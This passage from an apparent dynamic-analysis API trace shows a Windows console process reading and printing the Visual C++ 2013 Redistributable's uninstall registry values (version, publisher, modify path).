dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.624] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.624] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.624] __iob_func () returned 0x7fefd702a80 [0149.624] _fileno (_File=0x7fefd702ab0) returned 1 [0149.624] _errno () returned 0x204bb0 [0149.624] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.624] _errno () returned 0x204bb0 [0149.624] GetFileType (hFile=0x50) returned 0x1 [0149.624] lstrlenW (lpString=" ") returned 4 [0149.624] GetConsoleOutputCP () returned 0x1b5 [0149.624] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.624] GetConsoleOutputCP () returned 0x1b5 [0149.625] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.625] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.625] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.625] __iob_func () returned 0x7fefd702a80 [0149.625] _fileno (_File=0x7fefd702ab0) returned 1 [0149.625] _errno () returned 0x204bb0 [0149.625] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.625] _errno () returned 0x204bb0 [0149.625] GetFileType (hFile=0x50) returned 0x1 [0149.625] lstrlenW (lpString="Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501") returned 60 [0149.625] GetConsoleOutputCP () returned 0x1b5 [0149.625] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0149.625] GetConsoleOutputCP () returned 0x1b5 [0149.625] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501", cchWideChar=60, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501", lpUsedDefaultChar=0x0) returned 60 [0149.625] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 60 [0149.625] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.625] __iob_func () returned 0x7fefd702a80 [0149.625] _fileno (_File=0x7fefd702ab0) returned 1 [0149.625] _errno () returned 0x204bb0 [0149.625] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.625] _errno () returned 0x204bb0 [0149.625] GetFileType (hFile=0x50) returned 0x1 [0149.625] lstrlenW (lpString="\n") returned 1 [0149.626] GetConsoleOutputCP () returned 0x1b5 [0149.626] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.626] GetConsoleOutputCP () returned 0x1b5 [0149.626] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.626] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.626] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.626] GetProcessHeap () returned 0x3c0000 [0149.626] GetProcessHeap () returned 0x3c0000 [0149.626] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.626] GetProcessHeap () returned 0x3c0000 [0149.626] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x7e [0149.626] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.626] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.626] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x1c) returned 0x0 [0149.626] GetProcessHeap () returned 0x3c0000 [0149.626] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1e) returned 0x3d5c30 [0149.626] GetProcessHeap () returned 0x3c0000 [0149.626] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.626] GetProcessHeap () returned 0x3c0000 [0149.626] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1e [0149.626] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x1c | out: pdwType=0x29f700*=0x1, pvData="12.0.30501.0", pcbData=0x29f780*=0x1a) returned 0x0 [0149.626] __iob_func () returned 0x7fefd702a80 [0149.626] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.626] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.626] _fileno (_File=0x7fefd702ab0) returned 1 [0149.627] _errno () returned 0x204bb0 [0149.627] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.627] _errno () returned 0x204bb0 [0149.627] GetFileType (hFile=0x50) returned 0x1 [0149.627] lstrlenW (lpString=" ") returned 4 [0149.627] GetConsoleOutputCP () returned 0x1b5 [0149.627] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.627] GetConsoleOutputCP () returned 0x1b5 [0149.627] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.627] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.627] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.628] lstrlenW (lpString="DisplayVersion") returned 14 [0149.628] __iob_func () returned 0x7fefd702a80 [0149.628] _fileno (_File=0x7fefd702ab0) returned 1 [0149.628] _errno () returned 0x204bb0 [0149.628] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.628] _errno () returned 0x204bb0 [0149.628] GetFileType (hFile=0x50) returned 0x1 [0149.628] lstrlenW (lpString="DisplayVersion") returned 14 [0149.628] GetConsoleOutputCP () returned 0x1b5 [0149.628] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0149.628] GetConsoleOutputCP () returned 0x1b5 [0149.628] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0149.628] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0149.628] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.628] __iob_func () returned 0x7fefd702a80 [0149.628] _fileno (_File=0x7fefd702ab0) returned 1 [0149.628] _errno () returned 0x204bb0 [0149.628] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.628] _errno () returned 0x204bb0 [0149.628] GetFileType (hFile=0x50) returned 0x1 [0149.628] lstrlenW (lpString=" ") returned 4 [0149.628] GetConsoleOutputCP () returned 0x1b5 [0149.629] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.629] GetConsoleOutputCP () returned 0x1b5 [0149.629] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.629] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.629] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.629] __iob_func () returned 0x7fefd702a80 [0149.629] _fileno (_File=0x7fefd702ab0) returned 1 [0149.629] _errno () returned 0x204bb0 [0149.629] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.629] _errno () returned 0x204bb0 [0149.629] GetFileType (hFile=0x50) returned 0x1 [0149.629] lstrlenW (lpString="REG_SZ") returned 6 [0149.629] GetConsoleOutputCP () returned 0x1b5 [0149.629] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.629] GetConsoleOutputCP () returned 0x1b5 [0149.629] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.629] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.629] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.629] __iob_func () returned 0x7fefd702a80 [0149.629] _fileno (_File=0x7fefd702ab0) returned 1 [0149.629] _errno () returned 0x204bb0 [0149.630] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.630] _errno () returned 0x204bb0 [0149.630] GetFileType (hFile=0x50) returned 0x1 [0149.630] lstrlenW (lpString=" ") returned 4 [0149.630] GetConsoleOutputCP () returned 0x1b5 [0149.630] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.630] GetConsoleOutputCP () returned 0x1b5 [0149.630] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.630] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.630] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.630] __iob_func () returned 0x7fefd702a80 [0149.630] _fileno (_File=0x7fefd702ab0) returned 1 [0149.630] _errno () returned 0x204bb0 [0149.630] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.630] _errno () returned 0x204bb0 [0149.630] GetFileType (hFile=0x50) returned 0x1 [0149.630] lstrlenW (lpString="12.0.30501.0") returned 12 [0149.630] GetConsoleOutputCP () returned 0x1b5 [0149.630] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="12.0.30501.0", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.630] GetConsoleOutputCP () returned 0x1b5 [0149.631] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="12.0.30501.0", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="12.0.30501.0", lpUsedDefaultChar=0x0) returned 12 [0149.631] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.631] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.631] __iob_func () returned 0x7fefd702a80 [0149.631] _fileno (_File=0x7fefd702ab0) returned 1 [0149.631] _errno () returned 0x204bb0 [0149.631] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.631] _errno () returned 0x204bb0 [0149.631] GetFileType (hFile=0x50) returned 0x1 [0149.631] lstrlenW (lpString="\n") returned 1 [0149.631] GetConsoleOutputCP () returned 0x1b5 [0149.631] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.631] GetConsoleOutputCP () returned 0x1b5 [0149.631] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.631] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.631] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.631] GetProcessHeap () returned 0x3c0000 [0149.631] GetProcessHeap () returned 0x3c0000 [0149.631] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.631] GetProcessHeap () returned 0x3c0000 [0149.631] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1e [0149.631] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0149.631] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.632] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2e) returned 0x0 [0149.632] GetProcessHeap () returned 0x3c0000 [0149.632] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x30) returned 0x3d7910 [0149.632] GetProcessHeap () returned 0x3c0000 [0149.632] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7910) returned 1 [0149.632] GetProcessHeap () returned 0x3c0000 [0149.632] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d7910) returned 0x30 [0149.632] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d7910, pcbData=0x29f780*=0x2e | out: pdwType=0x29f700*=0x1, pvData="Microsoft Corporation", pcbData=0x29f780*=0x2c) returned 0x0 [0149.632] __iob_func () returned 0x7fefd702a80 [0149.632] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.632] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.632] _fileno (_File=0x7fefd702ab0) returned 1 [0149.632] _errno () returned 0x204bb0 [0149.632] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.632] _errno () returned 0x204bb0 [0149.632] GetFileType (hFile=0x50) returned 0x1 [0149.632] lstrlenW (lpString=" ") returned 4 [0149.632] GetConsoleOutputCP () returned 0x1b5 [0149.632] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.632] GetConsoleOutputCP () returned 0x1b5 [0149.632] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.632] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.632] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.632] lstrlenW (lpString="Publisher") returned 9 [0149.632] __iob_func () returned 0x7fefd702a80 [0149.632] _fileno (_File=0x7fefd702ab0) returned 1 [0149.632] _errno () returned 0x204bb0 [0149.632] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.632] _errno () returned 0x204bb0 [0149.633] GetFileType (hFile=0x50) returned 0x1 [0149.633] lstrlenW (lpString="Publisher") returned 9 [0149.633] GetConsoleOutputCP () returned 0x1b5 [0149.633] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.633] GetConsoleOutputCP () returned 0x1b5 [0149.633] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0149.633] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.633] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.633] __iob_func () returned 0x7fefd702a80 [0149.633] _fileno (_File=0x7fefd702ab0) returned 1 [0149.633] _errno () returned 0x204bb0 [0149.633] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.633] _errno () returned 0x204bb0 [0149.633] GetFileType (hFile=0x50) returned 0x1 [0149.633] lstrlenW (lpString=" ") returned 4 [0149.633] GetConsoleOutputCP () returned 0x1b5 [0149.633] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.633] GetConsoleOutputCP () returned 0x1b5 [0149.634] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.634] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.634] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.634] __iob_func () returned 0x7fefd702a80 [0149.634] _fileno (_File=0x7fefd702ab0) returned 1 [0149.634] _errno () returned 0x204bb0 [0149.634] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.634] _errno () returned 0x204bb0 [0149.634] GetFileType (hFile=0x50) returned 0x1 [0149.634] lstrlenW (lpString="REG_SZ") returned 6 [0149.634] GetConsoleOutputCP () returned 0x1b5 [0149.634] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.634] GetConsoleOutputCP () returned 0x1b5 [0149.634] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.634] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.634] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.634] __iob_func () returned 0x7fefd702a80 [0149.634] _fileno (_File=0x7fefd702ab0) returned 1 [0149.634] _errno () returned 0x204bb0 [0149.634] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.634] _errno () returned 0x204bb0 [0149.634] GetFileType (hFile=0x50) returned 0x1 [0149.634] lstrlenW (lpString=" ") returned 4 [0149.634] GetConsoleOutputCP () returned 0x1b5 [0149.635] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.635] GetConsoleOutputCP () returned 0x1b5 [0149.635] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.635] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.635] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.635] __iob_func () returned 0x7fefd702a80 [0149.635] _fileno (_File=0x7fefd702ab0) returned 1 [0149.635] _errno () returned 0x204bb0 [0149.635] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.635] _errno () returned 0x204bb0 [0149.635] GetFileType (hFile=0x50) returned 0x1 [0149.635] lstrlenW (lpString="Microsoft Corporation") returned 21 [0149.635] GetConsoleOutputCP () returned 0x1b5 [0149.635] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0149.635] GetConsoleOutputCP () returned 0x1b5 [0149.635] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0149.635] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0149.635] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.635] __iob_func () returned 0x7fefd702a80 [0149.635] _fileno (_File=0x7fefd702ab0) returned 1 [0149.636] _errno () returned 0x204bb0 [0149.636] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.636] _errno () returned 0x204bb0 [0149.636] GetFileType (hFile=0x50) returned 0x1 [0149.636] lstrlenW (lpString="\n") returned 1 [0149.636] GetConsoleOutputCP () returned 0x1b5 [0149.636] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.636] GetConsoleOutputCP () returned 0x1b5 [0149.636] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.636] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.636] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.636] GetProcessHeap () returned 0x3c0000 [0149.636] GetProcessHeap () returned 0x3c0000 [0149.636] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7910) returned 1 [0149.636] GetProcessHeap () returned 0x3c0000 [0149.636] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d7910) returned 0x30 [0149.636] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7910 | out: hHeap=0x3c0000) returned 1 [0149.636] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.636] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xc0) returned 0x0 [0149.636] GetProcessHeap () returned 0x3c0000 [0149.636] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xc2) returned 0x3e1c70 [0149.636] GetProcessHeap () returned 0x3c0000 [0149.636] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.636] GetProcessHeap () returned 0x3c0000 [0149.636] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xc2 [0149.636] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xc0 | out: pdwType=0x29f700*=0x1, pvData="\"C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe\" /modify", pcbData=0x29f780*=0xbe) returned 0x0 [0149.637] __iob_func () returned 0x7fefd702a80 [0149.637] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.637] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.637] _fileno (_File=0x7fefd702ab0) returned 1 [0149.637] _errno () returned 0x204bb0 [0149.637] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.637] _errno () returned 0x204bb0 [0149.637] GetFileType (hFile=0x50) returned 0x1 [0149.637] lstrlenW (lpString=" ") returned 4 [0149.637] GetConsoleOutputCP () returned 0x1b5 [0149.637] WideCharToMultiByte (in: 